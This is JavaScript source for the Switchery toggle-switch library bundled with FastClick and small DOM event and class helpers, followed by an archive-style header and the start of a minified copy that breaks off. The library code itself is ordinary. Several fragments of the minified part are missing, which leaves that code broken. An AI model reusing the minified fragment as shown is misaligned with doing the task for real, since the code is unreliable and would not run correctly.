focus disabled inputs return !target.disabled && !target.readOnly; default: return (/\bneedsfocus\b/).test(target.className); } }; /** * Send a click event to the specified element. * * @param {EventTarget|Element} targetElement * @param {Event} event */ FastClick.prototype.sendClick = function(targetElement, event) { 'use strict'; var clickEvent, touch; // On some Android devices activeElement needs to be blurred otherwise the synthetic click will have no effect (#24) if (document.activeElement && document.activeElement !== targetElement) { document.activeElement.blur(); } touch = event.changedTouches[0]; // Synthesise a click event, with an extra attribute so it can be tracked clickEvent = document.createEvent('MouseEvents'); clickEvent.initMouseEvent(this.determineEventType(targetElement), true, true, window, 1, touch.screenX, touch.screenY, touch.clientX, touch.clientY, false, false, false, false, 0, null); clickEvent.forwardedTouchEvent = true; targetElement.dispatchEvent(clickEvent); }; FastClick.prototype.determineEventType = function(targetElement) { 'use strict'; //Issue #159: Android Chrome Select Box does not open with a synthetic click event if (this.deviceIsAndroid && targetElement.tagName.toLowerCase() === 'select') { return 'mousedown'; } return 'click'; }; /** * @param {EventTarget|Element} targetElement */ FastClick.prototype.focus = function(targetElement) { 'use strict'; var length; // Issue #160: on iOS 7, some input elements (e.g. date datetime) throw a vague TypeError on setSelectionRange. These elements don't have an integer value for the selectionStart and selectionEnd properties, but unfortunately that can't be used for detection because accessing the properties also throws a TypeError. Just check the type instead. Filed as Apple bug #15122724. if (this.deviceIsIOS && targetElement.setSelectionRange && targetElement.type.indexOf('date') !== 0 && targetElement.type !== 'time') { length = targetElement.value.length; targetElement.setSelectionRange(length, length); } else { targetElement.focus(); } }; /** * Check whether the given target element is a child of a scrollable layer and if so, set a flag on it. * * @param {EventTarget|Element} targetElement */ FastClick.prototype.updateScrollParent = function(targetElement) { 'use strict'; var scrollParent, parentElement; scrollParent = targetElement.fastClickScrollParent; // Attempt to discover whether the target element is contained within a scrollable layer. Re-check if the // target element was moved to another parent. if (!scrollParent || !scrollParent.contains(targetElement)) { parentElement = targetElement; do { if (parentElement.scrollHeight > parentElement.offsetHeight) { scrollParent = parentElement; targetElement.fastClickScrollParent = parentElement; break; } parentElement = parentElement.parentElement; } while (parentElement); } // Always update the scroll top tracker if possible. if (scrollParent) { scrollParent.fastClickLastScrollTop = scrollParent.scrollTop; } }; /** * @param {EventTarget} targetElement * @returns {Element|EventTarget} */ FastClick.prototype.getTargetElementFromEventTarget = function(eventTarget) { 'use strict'; // On some older browsers (notably Safari on iOS 4.1 - see issue #56) the event target may be a text node. if (eventTarget.nodeType === Node.TEXT_NODE) { return eventTarget.parentNode; } return eventTarget; }; /** * On touch start, record the position and scroll offset. * * @param {Event} event * @returns {boolean} */ FastClick.prototype.onTouchStart = function(event) { 'use strict'; var targetElement, touch, selection; // Ignore multiple touches, otherwise pinch-to-zoom is prevented if both fingers are on the FastClick element (issue #111). if (event.targetTouches.length > 1) { return true; } targetElement = this.getTargetElementFromEventTarget(event.target); touch = event.targetTouches[0]; if (this.deviceIsIOS) { // Only trusted events will deselect text on iOS (issue #49) selection = window.getSelection(); if (selection.rangeCount && !selection.isCollapsed) { return true; } if (!this.deviceIsIOS4) { // Weird things happen on iOS when an alert or confirm dialog is opened from a click event callback (issue #23): // when the user next taps anywhere else on the page, new touchstart and touchend events are dispatched // with the same identifier as the touch event that previously triggered the click that triggered the alert. // Sadly, there is an issue on iOS 4 that causes some normal touch events to have the same identifier as an // immediately preceeding touch event (issue #52), so this fix is unavailable on that platform. if (touch.identifier === this.lastTouchIdentifier) { event.preventDefault(); return false; } this.lastTouchIdentifier = touch.identifier; // If the target element is a child of a scrollable layer (using -webkit-overflow-scrolling: touch) and: // 1) the user does a fling scroll on the scrollable layer // 2) the user stops the fling scroll with another tap // then the event.target of the last 'touchend' event will be the element that was under the user's finger // when the fling scroll was started, causing FastClick to send a click event to that layer - unless a check // is made to ensure that a parent layer was not scrolled before sending a synthetic click (issue #42). this.updateScrollParent(targetElement); } } this.trackingClick = true; this.trackingClickStart = event.timeStamp; this.targetElement = targetElement; this.touchStartX = touch.pageX; this.touchStartY = touch.pageY; // Prevent phantom clicks on fast double-tap (issue #36) if ((event.timeStamp - this.lastClickTime) < 200) { event.preventDefault(); } return true; }; /** * Based on a touchmove event object, check whether the touch has moved past a boundary since it started. * * @param {Event} event * @returns {boolean} */ FastClick.prototype.touchHasMoved = function(event) { 'use strict'; var touch = event.changedTouches[0], boundary = this.touchBoundary; if (Math.abs(touch.pageX - this.touchStartX) > boundary || Math.abs(touch.pageY - this.touchStartY) > boundary) { return true; } return false; }; /** * Update the last position. * * @param {Event} event * @returns {boolean} */ FastClick.prototype.onTouchMove = function(event) { 'use strict'; if (!this.trackingClick) { return true; } // If the touch has moved, cancel the click tracking if (this.targetElement !== this.getTargetElementFromEventTarget(event.target) || this.touchHasMoved(event)) { this.trackingClick = false; this.targetElement = null; } return true; }; /** * Attempt to find the labelled control for the given label element. * * @param {EventTarget|HTMLLabelElement} labelElement * @returns {Element|null} */ FastClick.prototype.findControl = function(labelElement) { 'use strict'; // Fast path for newer browsers supporting the HTML5 control attribute if (labelElement.control !== undefined) { return labelElement.control; } // All browsers under test that support touch events also support the HTML5 htmlFor attribute if (labelElement.htmlFor) { return document.getElementById(labelElement.htmlFor); } // If no for attribute exists, attempt to retrieve the first labellable descendant element // the list of which is defined here: http://www.w3.org/TR/html5/forms.html#category-label return labelElement.querySelector('button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea'); }; /** * On touch end, determine whether to send a click event at once. * * @param {Event} event * @returns {boolean} */ FastClick.prototype.onTouchEnd = function(event) { 'use strict'; var forElement, trackingClickStart, targetTagName, scrollParent, touch, targetElement = this.targetElement; if (!this.trackingClick) { return true; } // Prevent phantom clicks on fast double-tap (issue #36) if ((event.timeStamp - this.lastClickTime) < 200) { this.cancelNextClick = true; return true; } // Reset to prevent wrong click cancel on input (issue #156). this.cancelNextClick = false; this.lastClickTime = event.timeStamp; trackingClickStart = this.trackingClickStart; this.trackingClick = false; this.trackingClickStart = 0; // On some iOS devices, the targetElement supplied with the event is invalid if the layer // is performing a transition or scroll, and has to be re-detected manually. Note that // for this to function correctly, it must be called *after* the event target is checked! // See issue #57; also filed as rdar://13048589 . if (this.deviceIsIOSWithBadTarget) { touch = event.changedTouches[0]; // In certain cases arguments of elementFromPoint can be negative, so prevent setting targetElement to null targetElement = document.elementFromPoint(touch.pageX - window.pageXOffset, touch.pageY - window.pageYOffset) || targetElement; targetElement.fastClickScrollParent = this.targetElement.fastClickScrollParent; } targetTagName = targetElement.tagName.toLowerCase(); if (targetTagName === 'label') { forElement = this.findControl(targetElement); if (forElement) { this.focus(targetElement); if (this.deviceIsAndroid) { return false; } targetElement = forElement; } } else if (this.needsFocus(targetElement)) { // Case 1: If the touch started a while ago (best guess is 100ms based on tests for issue #36) then focus will be triggered anyway. Return early and unset the target element reference so that the subsequent click will be allowed through. // Case 2: Without this exception for input elements tapped when the document is contained in an iframe, then any inputted text won't be visible even though the value attribute is updated as the user types (issue #37). if ((event.timeStamp - trackingClickStart) > 100 || (this.deviceIsIOS && window.top !== window && targetTagName === 'input')) { this.targetElement = null; return false; } this.focus(targetElement); // Select elements need the event to go through on iOS 4, otherwise the selector menu won't open. if (!this.deviceIsIOS4 || targetTagName !== 'select') { this.targetElement = null; event.preventDefault(); } return false; } if (this.deviceIsIOS && !this.deviceIsIOS4) { // Don't send a synthetic click event if the target element is contained within a parent layer that was scrolled // and this tap is being used to stop the scrolling (usually initiated by a fling - issue #42). scrollParent = targetElement.fastClickScrollParent; if (scrollParent && scrollParent.fastClickLastScrollTop !== scrollParent.scrollTop) { return true; } } // Prevent the actual click from going though - unless the target node is marked as requiring // real clicks or if it is in the whitelist in which case only non-programmatic clicks are permitted. if (!this.needsClick(targetElement)) { event.preventDefault(); this.sendClick(targetElement, event); } return false; }; /** * On touch cancel, stop tracking the click. * * @returns {void} */ FastClick.prototype.onTouchCancel = function() { 'use strict'; this.trackingClick = false; this.targetElement = null; }; /** * Determine mouse events which should be permitted. * * @param {Event} event * @returns {boolean} */ FastClick.prototype.onMouse = function(event) { 'use strict'; // If a target element was never set (because a touch event was never fired) allow the event if (!this.targetElement) { return true; } if (event.forwardedTouchEvent) { return true; } // Programmatically generated events targeting a specific element should be permitted if (!event.cancelable) { return true; } // Derive and check the target element to see whether the mouse event needs to be permitted; // unless explicitly enabled, prevent non-touch click events from triggering actions, // to prevent ghost/doubleclicks. if (!this.needsClick(this.targetElement) || this.cancelNextClick) { // Prevent any user-added listeners declared on FastClick element from being fired. if (event.stopImmediatePropagation) { event.stopImmediatePropagation(); } else { // Part of the hack for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2) event.propagationStopped = true; } // Cancel the event event.stopPropagation(); event.preventDefault(); return false; } // If the mouse event is permitted, return true for the action to go through. return true; }; /** * On actual clicks, determine whether this is a touch-generated click, a click action occurring * naturally after a delay after a touch (which needs to be cancelled to avoid duplication), or * an actual click which should be permitted. * * @param {Event} event * @returns {boolean} */ FastClick.prototype.onClick = function(event) { 'use strict'; var permitted; // It's possible for another FastClick-like library delivered with third-party code to fire a click event before FastClick does (issue #44). In that case, set the click-tracking flag back to false and return early. This will cause onTouchEnd to return early. if (this.trackingClick) { this.targetElement = null; this.trackingClick = false; return true; } // Very odd behaviour on iOS (issue #18): if a submit element is present inside a form and the user hits enter in the iOS simulator or clicks the Go button on the pop-up OS keyboard the a kind of 'fake' click event will be triggered with the submit-type input element as the target. if (event.target.type === 'submit' && event.detail === 0) { return true; } permitted = this.onMouse(event); // Only unset targetElement if the click is not permitted. This will ensure that the check for !targetElement in onMouse fails and the browser's click doesn't go through. if (!permitted) { this.targetElement = null; } // If clicks are permitted, return true for the action to go through. return permitted; }; /** * Remove all FastClick's event listeners. * * @returns {void} */ FastClick.prototype.destroy = function() { 'use strict'; var layer = this.layer; if (this.deviceIsAndroid) { layer.removeEventListener('mouseover', this.onMouse, true); layer.removeEventListener('mousedown', this.onMouse, true); layer.removeEventListener('mouseup', this.onMouse, true); } layer.removeEventListener('click', this.onClick, true); layer.removeEventListener('touchstart', this.onTouchStart, false); layer.removeEventListener('touchmove', this.onTouchMove, false); layer.removeEventListener('touchend', this.onTouchEnd, false); layer.removeEventListener('touchcancel', this.onTouchCancel, false); }; /** * Check whether FastClick is needed. * * @param {Element} layer The layer to listen on */ FastClick.notNeeded = function(layer) { 'use strict'; var metaViewport; var chromeVersion; // Devices that don't support touch don't need FastClick if (typeof window.ontouchstart === 'undefined') { return true; } // Chrome version - zero for other browsers chromeVersion = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [,0])[1]; if (chromeVersion) { if (FastClick.prototype.deviceIsAndroid) { metaViewport = document.querySelector('meta[name=viewport]'); if (metaViewport) { // Chrome on Android with user-scalable="no" doesn't need FastClick (issue #89) if (metaViewport.content.indexOf('user-scalable=no') !== -1) { return true; } // Chrome 32 and above with width=device-width or less don't need FastClick if (chromeVersion > 31 && window.innerWidth <= window.screen.width) { return true; } } // Chrome desktop doesn't need FastClick (issue #15) } else { return true; } } // IE10 with -ms-touch-action: none, which disables double-tap-to-zoom (issue #97) if (layer.style.msTouchAction === 'none') { return true; } return false; }; /** * Factory method for creating a FastClick object * * @param {Element} layer The layer to listen on */ FastClick.attach = function(layer) { 'use strict'; return new FastClick(layer); }; if (typeof define !== 'undefined' && define.amd) { // AMD. Register as an anonymous module. define(function() { 'use strict'; return FastClick; }); } else if (typeof module !== 'undefined' && module.exports) { module.exports = FastClick.attach; module.exports.FastClick = FastClick; } else { window.FastClick = FastClick; } }); require.register("component~indexof@0.0.3", function (exports, module) { module.exports = function(arr, obj){ if (arr.indexOf) return arr.indexOf(obj); for (var i = 0; i < arr.length; ++i) { if (arr[i] === obj) return i; } return -1; }; }); require.register("component~classes@1.2.1", function (exports, module) { /** * Module dependencies. */ var index = require('component~indexof@0.0.3'); /** * Whitespace regexp. */ var re = /\s+/; /** * toString reference. */ var toString = Object.prototype.toString; /** * Wrap `el` in a `ClassList`. * * @param {Element} el * @return {ClassList} * @api public */ module.exports = function(el){ return new ClassList(el); }; /** * Initialize a new ClassList for `el`. * * @param {Element} el * @api private */ function ClassList(el) { if (!el) throw new Error('A DOM element reference is required'); this.el = el; this.list = el.classList; } /** * Add class `name` if not already present. * * @param {String} name * @return {ClassList} * @api public */ ClassList.prototype.add = function(name){ // classList if (this.list) { this.list.add(name); return this; } // fallback var arr = this.array(); var i = index(arr, name); if (!~i) arr.push(name); this.el.className = arr.join(' '); return this; }; /** * Remove class `name` when present, or * pass a regular expression to remove * any which match. * * @param {String|RegExp} name * @return {ClassList} * @api public */ ClassList.prototype.remove = function(name){ if ('[object RegExp]' == toString.call(name)) { return this.removeMatching(name); } // classList if (this.list) { this.list.remove(name); return this; } // fallback var arr = this.array(); var i = index(arr, name); if (~i) arr.splice(i, 1); this.el.className = arr.join(' '); return this; }; /** * Remove all classes matching `re`. * * @param {RegExp} re * @return {ClassList} * @api private */ ClassList.prototype.removeMatching = function(re){ var arr = this.array(); for (var i = 0; i < arr.length; i++) { if (re.test(arr[i])) { this.remove(arr[i]); } } return this; }; /** * Toggle class `name`, can force state via `force`. * * For browsers that support classList, but do not support `force` yet, * the mistake will be detected and corrected. * * @param {String} name * @param {Boolean} force * @return {ClassList} * @api public */ ClassList.prototype.toggle = function(name, force){ // classList if (this.list) { if ("undefined" !== typeof force) { if (force !== this.list.toggle(name, force)) { this.list.toggle(name); // toggle again to correct } } else { this.list.toggle(name); } return this; } // fallback if ("undefined" !== typeof force) { if (!force) { this.remove(name); } else { this.add(name); } } else { if (this.has(name)) { this.remove(name); } else { this.add(name); } } return this; }; /** * Return an array of classes. * * @return {Array} * @api public */ ClassList.prototype.array = function(){ var str = this.el.className.replace(/^\s+|\s+$/g, ''); var arr = str.split(re); if ('' === arr[0]) arr.shift(); return arr; }; /** * Check if class `name` is present. * * @param {String} name * @return {ClassList} * @api public */ ClassList.prototype.has = ClassList.prototype.contains = function(name){ return this.list ? this.list.contains(name) : !! ~index(this.array(), name); }; }); require.register("component~event@0.1.4", function (exports, module) { var bind = window.addEventListener ? 'addEventListener' : 'attachEvent', unbind = window.removeEventListener ? 'removeEventListener' : 'detachEvent', prefix = bind !== 'addEventListener' ? 'on' : ''; /** * Bind `el` event `type` to `fn`. * * @param {Element} el * @param {String} type * @param {Function} fn * @param {Boolean} capture * @return {Function} * @api public */ exports.bind = function(el, type, fn, capture){ el[bind](prefix + type, fn, capture || false); return fn; }; /** * Unbind `el` event `type`'s callback `fn`. * * @param {Element} el * @param {String} type * @param {Function} fn * @param {Boolean} capture * @return {Function} * @api public */ exports.unbind = function(el, type, fn, capture){ el[unbind](prefix + type, fn, capture || false); return fn; }; }); require.register("component~query@0.0.3", function (exports, module) { function one(selector, el) { return el.querySelector(selector); } exports = module.exports = function(selector, el){ el = el || document; return one(selector, el); }; exports.all = function(selector, el){ el = el || document; return el.querySelectorAll(selector); }; exports.engine = function(obj){ if (!obj.one) throw new Error('.one callback required'); if (!obj.all) throw new Error('.all callback required'); one = obj.one; exports.all = obj.all; return exports; }; }); require.register("component~matches-selector@0.1.6", function (exports, module) { /** * Module dependencies. */ try { var query = require('component~query@0.0.3'); } catch (err) { var query = require('component~query@0.0.3'); } /** * Element prototype. */ var proto = Element.prototype; /** * Vendor function. */ var vendor = proto.matches || proto.webkitMatchesSelector || proto.mozMatchesSelector || proto.msMatchesSelector || proto.oMatchesSelector; /** * Expose `match()`. */ module.exports = match; /** * Match `el` to `selector`. * * @param {Element} el * @param {String} selector * @return {Boolean} * @api public */ function match(el, selector) { if (!el || el.nodeType !== 1) return false; if (vendor) return vendor.call(el, selector); var nodes = query.all(selector, el.parentNode); for (var i = 0; i < nodes.length; ++i) { if (nodes[i] == el) return true; } return false; } }); require.register("component~closest@1.0.1", function (exports, module) { /** * Module Dependencies */ try { var matches = require('component~matches-selector@0.1.6') } catch (err) { var matches = require('component~matches-selector@0.1.6') } /** * Export `closest` */ module.exports = closest /** * Closest * * @param {Element} el * @param {String} selector * @param {Element} scope (optional) */ function closest (el, selector, scope) { scope = scope || document.documentElement; // walk up the dom while (el && el !== scope) { if (matches(el, selector)) return el; el = el.parentNode; } // check scope for match return matches(el, selector) ? el : null; } }); require.register("component~delegate@0.2.3", function (exports, module) { /** * Module dependencies. */ var closest = require('component~closest@1.0.1') , event = require('component~event@0.1.4'); /** * Delegate event `type` to `selector` * and invoke `fn(e)`. A callback function * is returned which may be passed to `.unbind()`. * * @param {Element} el * @param {String} selector * @param {String} type * @param {Function} fn * @param {Boolean} capture * @return {Function} * @api public */ exports.bind = function(el, selector, type, fn, capture){ return event.bind(el, type, function(e){ var target = e.target || e.srcElement; e.delegateTarget = closest(target, selector, true, el); if (e.delegateTarget) fn.call(el, e); }, capture); }; /** * Unbind event `type`'s callback `fn`. * * @param {Element} el * @param {String} type * @param {Function} fn * @param {Boolean} capture * @api public */ exports.unbind = function(el, type, fn, capture){ event.unbind(el, type, fn, capture); }; }); require.register("component~events@1.0.9", function (exports, module) { /** * Module dependencies. */ var events = require('component~event@0.1.4'); var delegate = require('component~delegate@0.2.3'); /** * Expose `Events`. */ module.exports = Events; /** * Initialize an `Events` with the given * `el` object which events will be bound to, * and the `obj` which will receive method calls. * * @param {Object} el * @param {Object} obj * @api public */ function Events(el, obj) { if (!(this instanceof Events)) return new Events(el, obj); if (!el) throw new Error('element required'); if (!obj) throw new Error('object required'); this.el = el; this.obj = obj; this._events = {}; } /** * Subscription helper. */ Events.prototype.sub = function(event, method, cb){ this._events[event] = this._events[event] || {}; this._events[event][method] = cb; }; /** * Bind to `event` with optional `method` name. * When `method` is undefined it becomes `event` * with the "on" prefix. * * Examples: * * Direct event handling: * * events.bind('click') // implies "onclick" * events.bind('click', 'remove') * events.bind('click', 'sort', 'asc') * * Delegated event handling: * * events.bind('click li > a') * events.bind('click li > a', 'remove') * events.bind('click a.sort-ascending', 'sort', 'asc') * events.bind('click a.sort-descending', 'sort', 'desc') * * @param {String} event * @param {String|function} [method] * @return {Function} callback * @api public */ Events.prototype.bind = function(event, method){ var e = parse(event); var el = this.el; var obj = this.obj; var name = e.name; var method = method || 'on' + name; var args = [].slice.call(arguments, 2); // callback function cb(){ var a = [].slice.call(arguments).concat(args); obj[method].apply(obj, a); } // bind if (e.selector) { cb = delegate.bind(el, e.selector, name, cb); } else { events.bind(el, name, cb); } // subscription for unbinding this.sub(name, method, cb); return cb; }; /** * Unbind a single binding, all bindings for `event`, * or all bindings within the manager. * * Examples: * * Unbind direct handlers: * * events.unbind('click', 'remove') * events.unbind('click') * events.unbind() * * Unbind delegate handlers: * * events.unbind('click', 'remove') * events.unbind('click') * events.unbind() * * @param {String|Function} [event] * @param {String|Function} [method] * @api public */ Events.prototype.unbind = function(event, method){ if (0 == arguments.length) return this.unbindAll(); if (1 == arguments.length) return this.unbindAllOf(event); // no bindings for this event var bindings = this._events[event]; if (!bindings) return; // no bindings for this method var cb = bindings[method]; if (!cb) return; events.unbind(this.el, event, cb); }; /** * Unbind all events. * * @api private */ Events.prototype.unbindAll = function(){ for (var event in this._events) { this.unbindAllOf(event); } }; /** * Unbind all events for `event`. * * @param {String} event * @api private */ Events.prototype.unbindAllOf = function(event){ var bindings = this._events[event]; if (!bindings) return; for (var method in bindings) { this.unbind(event, method); } }; /** * Parse `event`. * * @param {String} event * @return {Object} * @api private */ function parse(event) { var parts = event.split(/ +/); return { name: parts.shift(), selector: parts.join(' ') } } }); require.register("switchery", function (exports, module) { /** * Switchery 0.8.2 * http://abpetkov.github.io/switchery/ * * Authored by Alexander Petkov * https://github.com/abpetkov * * Copyright 2013-2015, Alexander Petkov * License: The MIT License (MIT) * http://opensource.org/licenses/MIT * */ /** * External dependencies. */ var transitionize = require('abpetkov~transitionize@0.0.3') , fastclick = require('ftlabs~fastclick@v0.6.11') , classes = require('component~classes@1.2.1') , events = require('component~events@1.0.9'); /** * Expose `Switchery`. */ module.exports = Switchery; /** * Set Switchery default values. * * @api public */ var defaults = { color : '#64bd63' , secondaryColor : '#dfdfdf' , jackColor : '#fff' , jackSecondaryColor: null , className : 'switchery' , disabled : false , disabledOpacity : 0.5 , speed : '0.4s' , size : 'default' }; /** * Create Switchery object. * * @param {Object} element * @param {Object} options * @api public */ function Switchery(element, options) { if (!(this instanceof Switchery)) return new Switchery(element, options); this.element = element; this.options = options || {}; for (var i in defaults) { if (this.options[i] == null) { this.options[i] = defaults[i]; } } if (this.element != null && this.element.type == 'checkbox') this.init(); if (this.isDisabled() === true) this.disable(); } /** * Hide the target element. * * @api private */ Switchery.prototype.hide = function() { this.element.style.display = 'none'; }; /** * Show custom switch after the target element. * * @api private */ Switchery.prototype.show = function() { var switcher = this.create(); this.insertAfter(this.element, switcher); }; /** * Create custom switch. * * @returns {Object} this.switcher * @api private */ Switchery.prototype.create = function() { this.switcher = document.createElement('span'); this.jack = document.createElement('small'); this.switcher.appendChild(this.jack); this.switcher.className = this.options.className; this.events = events(this.switcher, this); return this.switcher; }; /** * Insert after element after another element. * * @param {Object} reference * @param {Object} target * @api private */ Switchery.prototype.insertAfter = function(reference, target) { reference.parentNode.insertBefore(target, reference.nextSibling); }; /** * Set switch jack proper position. * * @param {Boolean} clicked - we need this in order to uncheck the input when the switch is clicked * @api private */ Switchery.prototype.setPosition = function (clicked) { var checked = this.isChecked() , switcher = this.switcher , jack = this.jack; if (clicked && checked) checked = false; else if (clicked && !checked) checked = true; if (checked === true) { this.element.checked = true; if (window.getComputedStyle) jack.style.left = parseInt(window.getComputedStyle(switcher).width) - parseInt(window.getComputedStyle(jack).width) + 'px'; else jack.style.left = parseInt(switcher.currentStyle['width']) - parseInt(jack.currentStyle['width']) + 'px'; if (this.options.color) this.colorize(); this.setSpeed(); } else { jack.style.left = 0; this.element.checked = false; this.switcher.style.boxShadow = 'inset 0 0 0 0 ' + this.options.secondaryColor; this.switcher.style.borderColor = this.options.secondaryColor; this.switcher.style.backgroundColor = (this.options.secondaryColor !== defaults.secondaryColor) ? this.options.secondaryColor : '#fff'; this.jack.style.backgroundColor = (this.options.jackSecondaryColor !== this.options.jackColor) ? this.options.jackSecondaryColor : this.options.jackColor; this.setSpeed(); } }; /** * Set speed. * * @api private */ Switchery.prototype.setSpeed = function() { var switcherProp = {} , jackProp = { 'background-color': this.options.speed , 'left': this.options.speed.replace(/[a-z]/, '') / 2 + 's' }; if (this.isChecked()) { switcherProp = { 'border': this.options.speed , 'box-shadow': this.options.speed , 'background-color': this.options.speed.replace(/[a-z]/, '') * 3 + 's' }; } else { switcherProp = { 'border': this.options.speed , 'box-shadow': this.options.speed }; } transitionize(this.switcher, switcherProp); transitionize(this.jack, jackProp); }; /** * Set switch size. * * @api private */ Switchery.prototype.setSize = function() { var small = 'switchery-small' , normal = 'switchery-default' , large = 'switchery-large'; switch (this.options.size) { case 'small': classes(this.switcher).add(small) break; case 'large': classes(this.switcher).add(large) break; default: classes(this.switcher).add(normal) break; } }; /** * Set switch color. * * @api private */ Switchery.prototype.colorize = function() { var switcherHeight = this.switcher.offsetHeight / 2; this.switcher.style.backgroundColor = this.options.color; this.switcher.style.borderColor = this.options.color; this.switcher.style.boxShadow = 'inset 0 0 0 ' + switcherHeight + 'px ' + this.options.color; this.jack.style.backgroundColor = this.options.jackColor; }; /** * Handle the onchange event. * * @param {Boolean} state * @api private */ Switchery.prototype.handleOnchange = function(state) { if (document.dispatchEvent) { var event = document.createEvent('HTMLEvents'); event.initEvent('change', true, true); this.element.dispatchEvent(event); } else { this.element.fireEvent('onchange'); } }; /** * Handle the native input element state change. * A `change` event must be fired in order to detect the change. * * @api private */ Switchery.prototype.handleChange = function() { var self = this , el = this.element; if (el.addEventListener) { el.addEventListener('change', function() { self.setPosition(); }); } else { el.attachEvent('onchange', function() { self.setPosition(); }); } }; /** * Handle the switch click event. * * @api private */ Switchery.prototype.handleClick = function() { var switcher = this.switcher; fastclick = fastclick.bind(this); fastclick(switcher); this.events.bind('click', 'bindClick'); }; /** * Attach all methods that need to happen on switcher click. * * @api private */ Switchery.prototype.bindClick = function() { var parent = this.element.parentNode.tagName.toLowerCase() , labelParent = (parent === 'label') ? false : true; this.setPosition(labelParent); this.handleOnchange(this.element.checked); }; /** * Mark an individual switch as already handled. * * @api private */ Switchery.prototype.markAsSwitched = function() { this.element.setAttribute('data-switchery', true); }; /** * Check if an individual switch is already handled. * * @api private */ Switchery.prototype.markedAsSwitched = function() { return this.element.getAttribute('data-switchery'); }; /** * Initialize Switchery. * * @api private */ Switchery.prototype.init = function() { this.hide(); this.show(); this.setSize(); this.setPosition(); this.markAsSwitched(); this.handleChange(); this.handleClick(); }; /** * See if input is checked. * * @returns {Boolean} * @api public */ Switchery.prototype.isChecked = function() { return this.element.checked; }; /** * See if switcher should be disabled. * * @returns {Boolean} * @api public */ Switchery.prototype.isDisabled = function() { return this.options.disabled || this.element.disabled || this.element.readOnly; }; /** * Destroy all event handlers attached to the switch. * * @api public */ Switchery.prototype.destroy = function() { this.events.unbind(); }; /** * Enable disabled switch element. * * @api public */ Switchery.prototype.enable = function() { if (!this.options.disabled) return; if (this.options.disabled) this.options.disabled = false; if (this.element.disabled) this.element.disabled = false; if (this.element.readOnly) this.element.readOnly = false; this.switcher.style.opacity = 1; this.events.bind('click', 'bindClick'); }; /** * Disable switch element. * * @api public */ Switchery.prototype.disable = function() { if (this.options.disabled) return; if (!this.options.disabled) this.options.disabled = true; if (!this.element.disabled) this.element.disabled = true; if (!this.element.readOnly) this.element.readOnly = true; this.switcher.style.opacity = this.options.disabledOpacity; this.destroy(); }; }); if (typeof exports == "object") { module.exports = require("switchery"); } else if (typeof define == "function" && define.amd) { define("Switchery", [], function(){ return require("switchery"); }); } else { (this || window)["Switchery"] = require("switchery"); } })() switchery.min.js000064400000060046151701416170007716 0ustar00(function(){function require(name){var module=require.modules[name];if(!module)throw new Error('failed to require "'+name+'"');if(!("exports"in module)&&typeof module.definition==="function"){module.client=module.component=true;module.definition.call(this,module.exports={},module);delete module.definition}return module.exports}require.loader="component";require.helper={};require.helper.semVerSort=function(a,b){var aArray=a.version.split(".");var bArray=b.version.split(".");for(var i=0;ibLex?1:-1;continue}else if(aInt>bInt){return 1}else{return-1}}return 0};require.latest=function(name,returnPath){function showError(name){throw new Error('failed to find latest module of "'+name+'"')}var versionRegexp=/(.*)~(.*)@v?(\d+\.\d+\.\d+[^\/]*)$/;var remoteRegexp=/(.*)~(.*)/;if(!remoteRegexp.test(name))showError(name);var moduleNames=Object.keys(require.modules);var semVerCandidates=[];var otherCandidates=[];for(var i=0;i0){var module=semVerCandidates.sort(require.helper.semVerSort).pop().name;if(returnPath===true){return module}return require(module)}var module=otherCandidates.sort(function(a,b){return a.name>b.name})[0].name;if(returnPath===true){return module}return require(module)};require.modules={};require.register=function(name,definition){require.modules[name]={definition:definition}};require.define=function(name,exports){require.modules[name]={exports:exports}};require.register("abpetkov~transitionize@0.0.3",function(exports,module){module.exports=Transitionize;function Transitionize(element,props){if(!(this instanceof Transitionize))return new Transitionize(element,props);this.element=element;this.props=props||{};this.init()}Transitionize.prototype.isSafari=function(){return/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor)};Transitionize.prototype.init=function(){var transitions=[];for(var key in this.props){transitions.push(key+" "+this.props[key])}this.element.style.transition=transitions.join(", ");if(this.isSafari())this.element.style.webkitTransition=transitions.join(", ")}});require.register("ftlabs~fastclick@v0.6.11",function(exports,module){function FastClick(layer){"use strict";var oldOnClick,self=this;this.trackingClick=false;this.trackingClickStart=0;this.targetElement=null;this.touchStartX=0;this.touchStartY=0;this.lastTouchIdentifier=0;this.touchBoundary=10;this.layer=layer;if(!layer||!layer.nodeType){throw new TypeError("Layer must be a document node")}this.onClick=function(){return FastClick.prototype.onClick.apply(self,arguments)};this.onMouse=function(){return FastClick.prototype.onMouse.apply(self,arguments)};this.onTouchStart=function(){return FastClick.prototype.onTouchStart.apply(self,arguments)};this.onTouchMove=function(){return FastClick.prototype.onTouchMove.apply(self,arguments)};this.onTouchEnd=function(){return FastClick.prototype.onTouchEnd.apply(self,arguments)};this.onTouchCancel=function(){return FastClick.prototype.onTouchCancel.apply(self,arguments)};if(FastClick.notNeeded(layer)){return}if(this.deviceIsAndroid){layer.addEventListener("mouseover",this.onMouse,true);layer.addEventListener("mousedown",this.onMouse,true);layer.addEventListener("mouseup",this.onMouse,true)}layer.addEventListener("click",this.onClick,true);layer.addEventListener("touchstart",this.onTouchStart,false);layer.addEventListener("touchmove",this.onTouchMove,false);layer.addEventListener("touchend",this.onTouchEnd,false);layer.addEventListener("touchcancel",this.onTouchCancel,false);if(!Event.prototype.stopImmediatePropagation){layer.removeEventListener=function(type,callback,capture){var rmv=Node.prototype.removeEventListener;if(type==="click"){rmv.call(layer,type,callback.hijacked||callback,capture)}else{rmv.call(layer,type,callback,capture)}};layer.addEventListener=function(type,callback,capture){var adv=Node.prototype.addEventListener;if(type==="click"){adv.call(layer,type,callback.hijacked||(callback.hijacked=function(event){if(!event.propagationStopped){callback(event)}}),capture)}else{adv.call(layer,type,callback,capture)}}}if(typeof layer.onclick==="function"){oldOnClick=layer.onclick;layer.addEventListener("click",function(event){oldOnClick(event)},false);layer.onclick=null}}FastClick.prototype.deviceIsAndroid=navigator.userAgent.indexOf("Android")>0;FastClick.prototype.deviceIsIOS=/iP(ad|hone|od)/.test(navigator.userAgent);FastClick.prototype.deviceIsIOS4=FastClick.prototype.deviceIsIOS&&/OS 4_\d(_\d)?/.test(navigator.userAgent);FastClick.prototype.deviceIsIOSWithBadTarget=FastClick.prototype.deviceIsIOS&&/OS ([6-9]|\d{2})_\d/.test(navigator.userAgent);FastClick.prototype.needsClick=function(target){"use 